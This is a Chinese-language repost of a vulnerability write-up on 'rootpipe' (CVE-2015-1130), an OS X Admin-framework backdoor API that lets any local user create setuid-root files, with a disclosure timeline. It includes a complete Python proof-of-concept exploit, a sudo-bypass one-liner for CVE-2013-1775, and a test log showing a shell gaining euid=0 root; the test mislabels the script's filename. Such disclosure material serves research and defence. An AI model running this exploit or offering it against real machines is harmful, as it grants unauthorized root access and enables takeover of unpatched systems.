Apple OS X系统中存在可以提升root权限的API后门

yeyu 2016-7-8 本地 0 4

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0x00 摘要

Apple OS X系统中的Admin框架存在可以提升root权限的API后门,并且已经存在多年(至少是从2011年开始)。我是在2014年的10月发现他可以被用来已任何用户权限提升为root权限,其本意可能是要服务“System Preferences”和systemsetup(命令行工具),但是所有的用户进程可以使用相同的功能。

苹果刚刚发布了OS X 10.10.3解决了此问题,但是OS X 10.9.x以及之前的版本存在此问题,因为苹果决定不对这些版本进行修复了。我们建议所有的用户都升级到10.10.3。

0x01 demo

我使用的第一个exp是基于CVE-2013-1775的,一个sudo认证绕过bug,这个bug已经在10.8.5(2013年9月)修复了。

exp代码非常的简单:

$ sudo -k;systemsetup -setusingnetworktime Off -settimezone GMT -setdate 01:01:1970 -settime 00:00;sudo su

我跟我同事Philip ?kesson聊这个exp代码实际上使用了systemsetup来修改系统时间。我们一起来看了下他修复的细节,原来除了修复了sudo,Apple也同时做了另外一件事情,他们把systemsetup设置为需要root权限,当以非root权限执行systemsetup的时候,下面的信息就会显示(在10.8.5以及之后版本):

$ systemsetup
You need administrator access to run this tool... exiting!

OK,所以systemsetup二进制文件只是简单的检查了是否是root权限。

修改了一下函数(用setne替代sete):取得了成功

$ systemsetup
> systemsetup
> type -help for help.

这将在22端口上开启ssh服务,当然你也可以通过launchtl开启,但是launchtl需要root权限。所以这在权限上还是有很明显的区别的。到目前为止,我们只是回到之前的systemsetup(10.8.5之前),你可以用systemsetup执行命令的一个例子:

$ systemsetup –setremotelogin on

类名为RemoteServerSettings表明,有某种进程间通信可以解释为什么需要root操作执行。不过还是要提一下,通过System Preferences开启SSH服务也不需要root权限。

我发现这种权限的差异非常有趣,继续反编译systemsetup。

通过一个名字叫做[ServerSettings setRemoteLogin:]的方法实现了systemsetup中的setremotelogin命令。

函数做了一些输入检查,然后调用[InternetServices setSSHServerEnabled:],这是在Admin框架中实现。反编译Admin框架可以看到setSSHServerEnabled并不是InternetServices接口的唯一方法,清单如下:

+[InternetServices sharedInternetServices]
+[InternetServices sharedInternetServices].sSharedInternetServices
-[InternetServices _netFSServerFrameworkBundle]
-[InternetServices _netFSServerFrameworkBundle].sNetFSServerkBundle
-[InternetServices _netFSServerFrameworkBundle].sNetFSServerkBundleOnce
-[InternetServices faxReceiveEnabled]
-[InternetServices ftpServerEnabled]
-[InternetServices httpdEnabled]
-[InternetServices isFTPServerAvailable]
-[InternetServices isFaxReceiveAvailable]
-[InternetServices isGuestForProtocolEnabled:]
-[InternetServices isHttpdAvailable]
-[InternetServices isNSCProtocolAvailable:]
-[InternetServices isNSCProtocolEnabled:]
-[InternetServices isNSServerShuttingDown:]
-[InternetServices isOpticalDiscSharingEnabled]
-[InternetServices isRemoteAEServerAvailable]
-[InternetServices isSSHServerAvailable]
-[InternetServices nscServerCancelShutdown:refNum:]
-[InternetServices nscServerShutdown:withDelay:]
-[InternetServices numberOfClientsForProtocols:]
-[InternetServices remoteAEServerEnabled]
-[InternetServices saveNatPrefs:]
-[InternetServices screensharingEnabled]
-[InternetServices sendSIGHUPToEfax]
-[InternetServices setFTPServerEnabled:]
-[InternetServices setFaxReceiveEnabled:]
-[InternetServices setGuestForProtocol:enabled:]
-[InternetServices setHttpdEnabled:]
-[InternetServices setInetDServiceEnabled:enabled:]
-[InternetServices setNSCProtocols:enabled:]
-[InternetServices setOpticalDiscSharingEnabled:]
-[InternetServices setRemoteAEServerEnabled:]
-[InternetServices setSSHServerEnabled:]
-[InternetServices setScreensharingEnabled:]
-[InternetServices sshServerEnabled]
_OBJC_CLASS_$_InternetServices
_OBJC_METACLASS_$_InternetServices
___47-[InternetServices _netFSServerFrameworkBundle]_block_invoke

代码看来是为guest账户创建一个用户特定的Apache配置文件,注意root用户是这个文件的拥有者:

$ ls -l /etc/apache2/users/
total 8
-rw-r--r-- 1 root wheel 139 Apr 1 05:49 std.conf

0x02 发现后门

上面截图的代码中最后一个被调用的Objective-C方法是createFileWithContents:path:attributes:

他获取一个组数组包括字节数,文件路径,文件属性。

自己代码中使用这个函数是这个样子的:

[tool createFileWithContents:data
                        path:[NSString stringWithUTF8String:target]
                  attributes:@{ NSFilePosixPermissions : @0777 }];

问题在于我们如何控制“tool”,再看一看开始的代码截图:

id sharedClient =
    [objc_lookUpClass("WriteConfigClient") sharedClient];
id tool = [sharedClient remoteProxy];

看起来[SFAuthorization authorization]可以来做触发,下面是我的新的exp:

id auth = [objc_lookUpClass("SFAuthorization") authorization];
id sharedClient =
    [objc_lookUpClass("WriteConfigClient") sharedClient];
[sharedClient authenticateUsingAuthorizationSync: auth];
id tool = [sharedClient remoteProxy];
[tool createFileWithContents:data
                        path:[NSString stringWithUTF8String:target]
                  attributes:@{ NSFilePosixPermissions : @04777 }];

文件最终创建,setuid已经设置:

-rwsrwxrwx 1 root wheel 25960 Apr 1 19:29 rootpipe.tmp

上面的代码适用于10.9及以后版本,10.7.x和10.8.x有些类文件名略不相同。既然setuid已经设置并且拥有者是root,我们就有有了一个提权漏洞。

但是上面的代码仍然有一个问题,只可以在admin的权限下运行,之前提到过几乎所有的OS X用户都是admin。

最终找到一个适用所有用户使用的方法,很简单,只要把[SFAuthorization authorization]:的结果替换为发送nil到authenticateUsingAuthorizationSync。

[sharedClient authenticateUsingAuthorizationSync: nil];

0x03 Timeline

Oct 2nd 2014: First discovery
Oct 3rd 2014: First contact with Apple Product Security Team
Oct 14th 2014: Exploit code shared with Apple
Oct 24th 2014: Initial full disclosure date set to Jan 12th 2015
Oct 16th 2014: Release of OS X 10.10 Yosemite, vulnerable to rootpipe
Nov 14th 2014: Apple requested to postpone disclosure
Nov 17th 2014: Release of OS X 10.10.1, also vulnerable
Jan 12th 2015: Joint decision between Apple and TrueSec to postpone disclosure due to the amount of changes required in OS X
Jan 16th 2015: CVE-2015-1130 created by Apple
Jan 27th 2015: Release of OS X 10.10.2, also vulnerable
March 2nd 2015: Release of OS X 10.10.3 public beta, issue solved
April 1st 2015: Apple confirmed that release is coming the second week of April
April 8th 2015: Release of OS X 10.10.3
April 9th 2015: Full disclosure

0x04 EXP

########################################################
#
#  PoC exploit code for rootpipe (CVE-2015-1130)
#
#  Created by Emil Kvarnhammar, TrueSec
#
#  Tested on OS X 10.7.5, 10.8.2, 10.9.5 and 10.10.2
#
########################################################
import os
import sys
import platform
import re
import ctypes
import objc
import sys
from Cocoa import NSData, NSMutableDictionary, NSFilePosixPermissions
from Foundation import NSAutoreleasePool
 
def load_lib(append_path):
    return ctypes.cdll.LoadLibrary("/System/Library/PrivateFrameworks/" + append_path);
 
def use_old_api():
    return re.match("^(10.7|10.8)(.\d)?$", platform.mac_ver()[0])
 
 
args = sys.argv
 
if len(args) != 3:
    print "usage: exploit.py source_binary dest_binary_as_root"
    sys.exit(-1)
 
source_binary = args[1]
dest_binary = os.path.realpath(args[2])
 
if not os.path.exists(source_binary):
    raise Exception("file does not exist!")
 
pool = NSAutoreleasePool.alloc().init()
 
attr = NSMutableDictionary.alloc().init()
attr.setValue_forKey_(04777, NSFilePosixPermissions)
data = NSData.alloc().initWithContentsOfFile_(source_binary)
 
print "will write file", dest_binary
 
if use_old_api():
    adm_lib = load_lib("/Admin.framework/Admin")
    Authenticator = objc.lookUpClass("Authenticator")
    ToolLiaison = objc.lookUpClass("ToolLiaison")
    SFAuthorization = objc.lookUpClass("SFAuthorization")
 
    authent = Authenticator.sharedAuthenticator()
    authref = SFAuthorization.authorization()
 
    # authref with value nil is not accepted on OS X <= 10.8
    authent.authenticateUsingAuthorizationSync_(authref)
    st = ToolLiaison.sharedToolLiaison()
    tool = st.tool()
    tool.createFileWithContents_path_attributes_(data, dest_binary, attr)
else:
    adm_lib = load_lib("/SystemAdministration.framework/SystemAdministration")
    WriteConfigClient = objc.lookUpClass("WriteConfigClient")
    client = WriteConfigClient.sharedClient()
    client.authenticateUsingAuthorizationSync_(None)
    tool = client.remoteProxy()
 
    tool.createFileWithContents_path_attributes_(data, dest_binary, attr, 0)
 
 
print "Done!"
 
del pool

0x05 测试

[test@test:~]$ cp /bin/bash bashceshi 
[test@test:~]$ python CVE-2013-1775.py bashceshi bashroot
will write file /Users/test/Downloads/bashroot
Done! 
[test@test:~]$ ./bashroot -p
bashroot-3.2# id
uid=501(test) gid=20(staff) euid=0(root) groups=20(staff),501(access

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